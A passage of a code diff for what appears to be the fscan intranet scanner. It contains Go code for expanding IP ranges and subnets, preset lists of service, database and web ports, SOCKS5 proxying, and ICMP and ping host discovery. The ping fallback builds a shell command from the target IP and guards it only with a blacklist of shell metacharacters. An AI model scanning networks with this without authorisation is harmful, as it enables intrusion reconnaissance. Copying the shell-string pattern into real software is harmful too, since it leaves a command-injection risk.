hashByte, err := hex.DecodeString(hash)
if err != nil {
LogError(GetText("hash_decode_failed", hash))
continue
}
HashBytes = append(HashBytes, hashByte)
}
// 清空原始哈希值列表,仅保留字节形式
HashValues = []string{}
return nil
}
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
temp := make(map[string]struct{})
var result []string
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
+549
View File
@@ -0,0 +1,549 @@
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
// IP解析相关错误
var (
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
)
// ParseIP 解析各种格式的IP地址
// 参数:
// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写)
// - filename: 包含主机地址的文件名
// - nohosts: 需要排除的主机地址列表
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 解析过程中的错误
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (格式: IP:PORT)
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = parseIPList(host)
Ports = hostport[1]
LogBase(GetText("host_port_parsed", Ports))
}
} else {
// 解析主机地址
hosts = parseIPList(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := readIPFile(filename)
if err != nil {
LogError(GetText("read_host_file_failed", err))
} else {
hosts = append(hosts, fileHosts...)
LogBase(GetText("extra_hosts_loaded", len(fileHosts)))
}
}
}
// 处理需要排除的主机
hosts = excludeHosts(hosts, nohosts)
// 去重并排序
hosts = removeDuplicateIPs(hosts)
LogBase(GetText("final_valid_hosts", len(hosts)))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ErrParseIP
}
return hosts, nil
}
// parseIPList 解析逗号分隔的IP地址列表
// 参数:
// - ipList: 逗号分隔的IP地址列表字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseIPList(ipList string) []string {
var result []string
// 处理逗号分隔的IP列表
if strings.Contains(ipList, ",") {
ips := strings.Split(ipList, ",")
for _, ip := range ips {
if parsed := parseSingleIP(ip); len(parsed) > 0 {
result = append(result, parsed...)
}
}
} else if ipList != "" {
// 解析单个IP地址或范围
result = parseSingleIP(ipList)
}
return result
}
// parseSingleIP 解析单个IP地址或IP范围
// 支持多种格式:
// - 普通IP: 192.168.1.1
// - 简写网段: 192, 172, 10
// - CIDR: 192.168.0.0/24
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
// - 域名: example.com
// 参数:
// - ip: IP地址或范围字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseSingleIP(ip string) []string {
// 检测是否包含字母(可能是域名)
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
// 根据不同格式解析IP
switch {
case ip == "192":
// 常用内网段简写
return parseSingleIP("192.168.0.0/16")
case ip == "172":
// 常用内网段简写
return parseSingleIP("172.16.0.0/12")
case ip == "10":
// 常用内网段简写
return parseSingleIP("10.0.0.0/8")
case strings.HasSuffix(ip, "/8"):
// 处理/8网段(使用采样方式)
return parseSubnet8(ip)
case strings.Contains(ip, "/"):
// 处理CIDR格式
return parseCIDR(ip)
case isAlpha:
// 处理域名,直接返回
return []string{ip}
case strings.Contains(ip, "-"):
// 处理IP范围
return parseIPRange(ip)
default:
// 尝试解析为单个IP地址
if testIP := net.ParseIP(ip); testIP != nil {
return []string{ip}
}
LogError(GetText("invalid_ip_format", ip))
return nil
}
}
// parseCIDR 解析CIDR格式的IP地址段
// 例如: 192.168.1.0/24
// 参数:
// - cidr: CIDR格式的IP地址段
//
// 返回:
// - []string: 展开后的IP地址列表
func parseCIDR(cidr string) []string {
// 解析CIDR格式
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
LogError(GetText("cidr_parse_failed", cidr, err))
return nil
}
// 转换为IP范围
ipRange := calculateIPRange(ipNet)
hosts := parseIPRange(ipRange)
LogBase(GetText("parse_cidr_to_range", cidr, ipRange))
return hosts
}
// calculateIPRange 计算CIDR的起始IP和结束IP
// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
// 参数:
// - cidr: 解析后的IPNet对象
//
// 返回:
// - string: 格式为"起始IP-结束IP"的范围字符串
func calculateIPRange(cidr *net.IPNet) string {
// 获取网络起始IP
start := cidr.IP.String()
mask := cidr.Mask
// 计算广播地址(最后一个IP)
bcst := make(net.IP, len(cidr.IP))
copy(bcst, cidr.IP)
// 将网络掩码按位取反,然后与IP地址按位或,得到广播地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
result := fmt.Sprintf("%s-%s", start, end)
LogBase(GetText("cidr_range", result))
return result
}
// parseIPRange 解析IP范围格式的地址
// 支持两种格式:
// - 完整格式: 192.168.1.1-192.168.1.100
// - 简写格式: 192.168.1.1-100
// 参数:
// - ipRange: IP范围字符串
//
// 返回:
// - []string: 展开后的IP地址列表
func parseIPRange(ipRange string) []string {
parts := strings.Split(ipRange, "-")
if len(parts) != 2 {
LogError(GetText("ip_range_format_error", ipRange))
return nil
}
startIP := parts[0]
endIP := parts[1]
// 验证起始IP
if net.ParseIP(startIP) == nil {
LogError(GetText("invalid_ip_format", startIP))
return nil
}
// 处理简写格式 (如: 192.168.1.1-100)
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
return parseShortIPRange(startIP, endIP)
} else {
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
return parseFullIPRange(startIP, endIP)
}
}
// parseShortIPRange 解析简写格式的IP范围
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
// 参数:
// - startIP: 起始IP
// - endSuffix: 结束IP的最后一部分
//
// 返回:
// - []string: 展开后的IP地址列表
func parseShortIPRange(startIP, endSuffix string) []string {
var allIP []string
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > 255 {
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
return nil
}
// 分解起始IP
ipParts := strings.Split(startIP, ".")
if len(ipParts) != 4 {
LogError(GetText("ip_format_error", startIP))
return nil
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
LogError(GetText("invalid_ip_range", startNum, endNum))
return nil
}
// 生成IP范围
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
return allIP
}
// parseFullIPRange 解析完整格式的IP范围
// 例如: 192.168.1.1-192.168.2.100
// 参数:
// - startIP: 起始IP
// - endIP: 结束IP
//
// 返回:
// - []string: 展开后的IP地址列表
func parseFullIPRange(startIP, endIP string) []string {
var allIP []string
// 验证结束IP
if net.ParseIP(endIP) == nil {
LogError(GetText("invalid_ip_format", endIP))
return nil
}
// 分解起始IP和结束IP
startParts := strings.Split(startIP, ".")
endParts := strings.Split(endIP, ".")
if len(startParts) != 4 || len(endParts) != 4 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
// 转换为整数数组
var start, end [4]int
for i := 0; i < 4; i++ {
var err1, err2 error
start[i], err1 = strconv.Atoi(startParts[i])
end[i], err2 = strconv.Atoi(endParts[i])
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
}
// 计算IP地址的整数表示
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
// 检查范围的有效性
if startInt > endInt {
LogError(GetText("invalid_ip_range", startIP, endIP))
return nil
}
// 限制IP范围的大小,防止生成过多IP导致内存问题
if endInt-startInt > 65535 {
LogError(GetText("ip_range_too_large", startIP, endIP))
// 可以考虑在这里实现采样或截断策略
}
// 生成IP范围
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>24)&0xFF,
(ipInt>>16)&0xFF,
(ipInt>>8)&0xFF,
ipInt&0xFF)
allIP = append(allIP, ip)
}
LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
return allIP
}
// parseSubnet8 解析/8网段的IP地址,生成采样IP列表
// 由于/8网段包含1600多万个IP,因此采用采样方式
// 参数:
// - subnet: CIDR格式的/8网段
//
// 返回:
// - []string: 采样的IP地址列表
func parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
LogError(GetText("invalid_ip_format", baseIP))
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
LogBase(GetText("parse_subnet", firstOctet))
// 预分配足够的容量以提高性能
// 每个二级网段10个IP,共256*256个二级网段
sampleIPs = make([]string, 0, 10)
// 对常用网段进行更全面的扫描
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := randomInt(2, 253)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
}
}
// 对其他二级网段进行稀疏采样
samplingStep := 32 // 每32个二级网段采样1个
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
// 对于采样的网段,取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
}
}
LogBase(GetText("sample_ip_generated", len(sampleIPs)))
return sampleIPs
}
// readIPFile 从文件中按行读取IP地址
// 支持两种格式:
// - 每行一个IP或IP范围
// - IP:PORT 格式指定端口
// 参数:
// - filename: 包含IP地址的文件路径
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 读取和解析过程中的错误
func readIPFile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var ipList []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理
lineCount := 0
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue // 跳过空行和注释行
}
lineCount++
// 处理IP:PORT格式
if strings.Contains(line, ":") {
parts := strings.Split(line, ":")
if len(parts) == 2 {
// 提取端口部分,处理可能的注释
portPart := strings.Split(parts[1], " ")[0]
portPart = strings.Split(portPart, "#")[0]
port, err := strconv.Atoi(portPart)
// 验证端口有效性
if err != nil || port < 1 || port > 65535 {
LogError(GetText("invalid_port", line))
continue
}
// 解析IP部分并与端口组合
hosts := parseIPList(parts[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
}
LogBase(GetText("parse_ip_port", line))
} else {
LogError(GetText("invalid_ip_port_format", line))
}
} else {
// 处理纯IP格式
hosts := parseIPList(line)
ipList = append(ipList, hosts...)
LogBase(GetText("parse_ip_address", line))
}
}
// 检查扫描过程中的错误
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_error", err))
return ipList, err
}
LogBase(GetText("file_parse_complete", len(ipList)))
return ipList, nil
}
// excludeHosts 从主机列表中排除指定的主机
// 参数:
// - hosts: 原始主机列表
// - nohosts: 需要排除的主机列表(可选)
//
// 返回:
// - []string: 排除后的主机列表
func excludeHosts(hosts []string, nohosts []string) []string {
// 如果没有需要排除的主机,直接返回原列表
if len(nohosts) == 0 || nohosts[0] == "" {
return hosts
}
// 解析排除列表
excludeList := parseIPList(nohosts[0])
if len(excludeList) == 0 {
return hosts
}
// 使用map存储有效主机,提高查找效率
hostMap := make(map[string]struct{}, len(hosts))
for _, host := range hosts {
hostMap[host] = struct{}{}
}
// 从map中删除需要排除的主机
for _, host := range excludeList {
delete(hostMap, host)
}
// 重建主机列表
result := make([]string, 0, len(hostMap))
for host := range hostMap {
result = append(result, host)
}
// 排序以保持结果的稳定性
sort.Strings(result)
LogBase(GetText("hosts_excluded", len(excludeList)))
return result
}
// removeDuplicateIPs 去除重复的IP地址
// 参数:
// - ips: 包含可能重复项的IP地址列表
//
// 返回:
// - []string: 去重后的IP地址列表
func removeDuplicateIPs(ips []string) []string {
// 使用map去重
ipMap := make(map[string]struct{}, len(ips))
for _, ip := range ips {
ipMap[ip] = struct{}{}
}
// 创建结果切片并添加唯一的IP
result := make([]string, 0, len(ipMap))
for ip := range ipMap {
result = append(result, ip)
}
// 排序以保持结果的稳定性
sort.Strings(result)
return result
}
// randomInt 生成指定范围内的随机整数
// 参数:
// - min: 最小值(包含)
// - max: 最大值(包含)
//
// 返回:
// - int: 生成的随机数
func randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max
}
return rand.Intn(max-min+1) + min
}
+93
View File
@@ -0,0 +1,93 @@
package Common
import (
"sort"
"strconv"
"strings"
)
// ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
// 预定义的端口组
portGroups := map[string]string{
"service": ServicePorts,
"db": DbPorts,
"web": WebPorts,
"all": AllPorts,
"main": MainPorts,
}
// 检查是否匹配预定义组
if definedPorts, exists := portGroups[ports]; exists {
ports = definedPorts
}
if ports == "" {
return nil
}
var scanPorts []int
slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices {
port = strings.TrimSpace(port)
if port == "" {
continue
}
// 处理端口范围
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
LogError(GetText("port_range_format_error", port))
continue
}
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
// 生成端口列表
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
LogError(GetText("ignore_invalid_port", i))
continue
}
scanPorts = append(scanPorts, i)
}
}
// 去重并排序
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
LogBase(GetText("valid_port_count", len(scanPorts)))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
temp := make(map[int]struct{})
var result []int
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
+23
View File
@@ -0,0 +1,23 @@
package Common
import (
"strconv"
"strings"
)
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
var AllPorts = "1-65535"
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
func ParsePortsFromString(portsStr string) []int {
var ports []int
portStrings := strings.Split(portsStr, ",")
for _, portStr := range portStrings {
if port, err := strconv.Atoi(portStr); err == nil {
ports = append(ports, port)
}
}
return ports
}
+191
View File
@@ -0,0 +1,191 @@
package Common
import (
"context"
"crypto/tls"
"errors"
"fmt"
"net"
"net/url"
"strings"
"time"
"golang.org/x/net/proxy"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTcpWithContext 创建一个带上下文的TCP连接
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
d := &net.Dialer{}
return WrapperTCPWithContext(ctx, network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
}
return conn, nil
}
// WrapperTCPWithContext 根据配置创建支持上下文的TCP连接
func WrapperTCPWithContext(ctx context.Context, network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.DialContext(ctx, network, address)
if err != nil {
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
// 创建一个结果通道来处理连接和取消
connChan := make(chan struct {
conn net.Conn
err error
}, 1)
go func() {
conn, err := dialer.Dial(network, address)
select {
case <-ctx.Done():
if conn != nil {
conn.Close()
}
case connChan <- struct {
conn net.Conn
err error
}{conn, err}:
}
}()
select {
case <-ctx.Done():
return nil, ctx.Err()
case result := <-connChan:
if result.err != nil {
return nil, fmt.Errorf(GetText("socks5_conn_failed"), result.err)
}
return result.conn, nil
}
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New(GetText("socks5_only"))
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
return dialer, nil
}
// WrapperTlsWithContext 创建一个通过代理的TLS连接
func WrapperTlsWithContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
dialer := &net.Dialer{}
tcpConn, err := dialer.DialContext(ctx, network, address)
if err != nil {
return nil, fmt.Errorf("直连TCP连接失败: %v", err)
}
// 在TCP连接上进行TLS握手
tlsConn := tls.Client(tcpConn, tlsConfig)
// 使用ctx的deadline设置TLS握手超时
if deadline, ok := ctx.Deadline(); ok {
tlsConn.SetDeadline(deadline)
}
if err := tlsConn.Handshake(); err != nil {
tcpConn.Close()
return nil, fmt.Errorf("TLS握手失败: %v", err)
}
// 清除deadline,让上层代码自己管理超时
tlsConn.SetDeadline(time.Time{})
return tlsConn, nil
}
// Socks5代理模式
// 首先通过代理建立到目标的TCP连接
tcpConn, err := WrapperTcpWithContext(ctx, network, address)
if err != nil {
return nil, fmt.Errorf("通过代理建立TCP连接失败: %v", err)
}
// 在TCP连接上进行TLS握手
tlsConn := tls.Client(tcpConn, tlsConfig)
// 使用ctx的deadline设置TLS握手超时
if deadline, ok := ctx.Deadline(); ok {
tlsConn.SetDeadline(deadline)
}
if err := tlsConn.Handshake(); err != nil {
tcpConn.Close()
return nil, fmt.Errorf("TLS握手失败: %v", err)
}
// 清除deadline,让上层代码自己管理超时
tlsConn.SetDeadline(time.Time{})
return tlsConn, nil
}
+59
View File
@@ -0,0 +1,59 @@
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// 在 Common/const.go 中添加
// 插件类型常量
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
)
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// 添加一个用于检查插件类型的辅助方法
func (p ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}
+1117
View File
File diff suppressed because it is too large Load Diff
+429
View File
@@ -0,0 +1,429 @@
package Core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string // 存活主机列表
ExistHosts = make(map[string]struct{}) // 已发现主机记录
livewg sync.WaitGroup // 存活检测等待组
)
// CheckLive 检测主机存活状态
func CheckLive(hostslist []string, Ping bool) []string {
// 创建主机通道
chanHosts := make(chan string, len(hostslist))
// 处理存活主机
go handleAliveHosts(chanHosts, hostslist, Ping)
// 根据Ping参数选择检测方式
if Ping {
// 使用ping方式探测
RunPing(hostslist, chanHosts)
} else {
probeWithICMP(hostslist, chanHosts)
}
// 等待所有检测完成
livewg.Wait()
close(chanHosts)
// 输出存活统计信息
printAliveStats(hostslist)
return AliveHosts
}
// IsContain 检查切片中是否包含指定元素
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
AliveHosts = append(AliveHosts, ip)
// 使用Output系统保存存活主机信息
protocol := "ICMP"
if isPing {
protocol = "PING"
}
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.HOST,
Target: ip,
Status: "alive",
Details: map[string]interface{}{
"protocol": protocol,
},
}
Common.SaveResult(result)
// 保留原有的控制台输出
if !Common.Silent {
Common.LogInfo(Common.GetText("target_alive", ip, protocol))
}
}
livewg.Done()
}
}
// probeWithICMP 使用ICMP方式探测
func probeWithICMP(hostslist []string, chanHosts chan string) {
// 尝试监听本地ICMP
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
return
}
Common.LogError(Common.GetText("icmp_listen_failed", err))
Common.LogBase(Common.GetText("trying_no_listen_icmp"))
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
defer conn2.Close()
RunIcmp2(hostslist, chanHosts)
return
}
Common.LogBase(Common.GetText("icmp_connect_failed", err))
Common.LogBase(Common.GetText("insufficient_privileges"))
Common.LogBase(Common.GetText("switching_to_ping"))
// 降级使用ping探测
RunPing(hostslist, chanHosts)
}
// printAliveStats 打印存活统计信息
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
}
}
}
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
// 启动监听协程
go func() {
for {
if endflag {
return
}
// 接收ICMP响应
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
// 发送ICMP请求
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
// 等待响应
start := time.Now()
for {
// 所有主机都已响应则退出
if len(AliveHosts) == len(hostslist) {
break
}
// 根据主机数量设置超时时间
since := time.Since(start)
wait := time.Second * 6
if len(hostslist) <= 256 {
wait = time.Second * 3
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
func RunIcmp2(hostslist []string, chanHosts chan string) {
// 控制并发数
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
close(limiter)
}
// icmpalive 检测主机ICMP是否存活
func icmpalive(host string) bool {
startTime := time.Now()
// 建立ICMP连接
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
// 设置超时时间
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
// 构造并发送ICMP请求
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
// 接收ICMP响应
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
// RunPing 使用系统Ping命令并发探测主机存活
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
// 限制并发数为50
limiter := make(chan struct{}, 50)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
}
// ExecCommandPing 执行系统Ping命令检测主机存活
func ExecCommandPing(ip string) bool {
// 过滤黑名单字符
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
for _, char := range forbiddenChars {
if strings.Contains(ip, char) {
return false
}
}
var command *exec.Cmd
// 根据操作系统选择不同的ping命令
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
default: // linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
}
// 捕获命令输出
var outinfo bytes.Buffer
command.Stdout = &outinfo
// 执行命令
if err := command.Start(); err != nil {
return false
}
if err := command.Wait(); err != nil {
return false
}
// 分析输出结果
output := outinfo.String()
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
}
// makemsg 构造ICMP echo请求消息
func makemsg(host string) []byte {
msg := make([]byte, 40)
// 获取标识符
id0, id1 := genIdentifier(host)
// 设置ICMP头部
msg[0] = 8 // Type: Echo Request
msg[1] = 0 // Code: 0
msg[2] = 0 // Checksum高位(待计算)
msg[3] = 0 // Checksum低位(待计算)
msg[4], msg[5] = id0, id1 // Identifier
msg[6], msg[7] = genSequence(1) // Sequence Number
// 计算校验和
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8) // 设置校验和高位
msg[3] = byte(check & 255) // 设置校验和低位
return msg
}
// checkSum 计算ICMP校验和
